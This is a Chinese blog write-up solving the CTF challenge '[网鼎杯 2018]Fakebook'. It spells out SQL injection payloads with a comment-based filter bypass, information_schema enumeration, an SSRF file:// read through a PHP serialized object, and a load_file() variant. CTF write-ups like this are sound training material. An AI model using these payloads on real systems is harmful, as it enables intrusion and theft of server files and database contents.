buuctf-web [网鼎杯 2018]Fakebook

[网鼎杯 2018]Fakebook

解法一:

首先打开靶场,看这样子像是sql注入。那我们先注册个号吧。

然后登录上去。我们试着用sql注入搞一下。

?no=1 and 1=1 //无报错

?no=1 and 1=2 //报错

经过判断,这个是数字注入。

然后再测试列,在列5时报错,看来有4列 ?no=1 order by 5#

然后我们测试一下回显位是多少:?no=-1 union select 1,2,3,4#

这次出现了此页面

 

 

 经过百度之后才了解到,是过滤了 union select。百度一下,绕过方法:union/**/select

那接下来就要继续了:?no=-1 union/**/select 1,2,3,4#

 

 

 得到回显位2

那我们继续:?no=-1 union/**/select 1,database(),3,4#

得到数据库名为:facebook

接下来是要爆出表名的:?no=100 union/**/select 2,group_concat(table_name),2,2 from information_schema.tables where table_schema=database()#

得出表名是:users

进一步得到字段名:?no=100 union/**/select 2,group_concat(column_name),2,2 from information_schema.columns where table_name='users'#
突然出来这么多

 

 

 最后要开始读取内容了。?no=100 union/**/select 2,group_concat(data),2,2 from users#

没想到会读出来这些东西

 

 

 这应该是一组序列化后的字符串,本以为要结束了。可没想到。。。。

还得回去看看有没有遗漏的点。

经过参考大佬博客,才明白里面存在着源代码泄露。

 

 

 

 

 

 经过扫描发现了了robots.txt,我们访问一下

 

 

 有这个。把这文件下载下来。得到一段代码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这里是源码泄露。天呐,这太可怕了。

经过分析,大概意思就是将我们输入的blog,调用get函数创建链接我们填的url,将访问该url返回的内容在页面输出。这里就是我们利用的点。

通过这段代码,这里还存在着ssrf漏洞。对于ssrf漏洞具体了解可参考此文章:https://www.jianshu.com/p/d1d1c40f6d4c

 

 

 

 

我们可以使用file协议读取本地文件。对于file协议不了解可参考此文章:https://blog.csdn.net/github_39319000/article/details/86523282

可以这样访问:file://var/www/html/flag.php

我们再回过来看得到的那一串序列化后的字符串,这样我们可以知道我们的注册信息,是以反序列化字符串储存的

以序列化的方式存储在data字段中,查询时返回序列化字符串后先进行反序列化后再提取blog网址。

那我们先构造一个php序列化字符串:

<?php

class UserInfo
{
    public $name = "sole"; //这里写的是自已的用户名
    public $age = 10; //自己输入的年龄
    public $blog = "file:///var/www/html/flag.php";
    
}

$a = new UserInfo();
echo serialize($a);
?>

跑一下这个脚本就会得出:O:8:"UserInfo":3:{s:4:"name";s:4:"sole";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

然后再构造我们最终的pyload:

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"sole";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

然后查看源代码,

 

 

 读取出来的数据是以base64加密的,那我们解密一下。就可以得到flag了

<?php

$flag = "flag{a9b350ae-2836-4350-81b3-f41ee019c4c2}";
exit(0);

解法二:

其实我们还可以直接通过sql读取函数直接读取flag.php文件,需要借助load_file()函数

里面的参数是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件就可以拿的到flag

pyload:

 

?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

 

posted @ 2021-01-31 13:44  AW_SOLE  阅读(726)  评论(1编辑  收藏  举报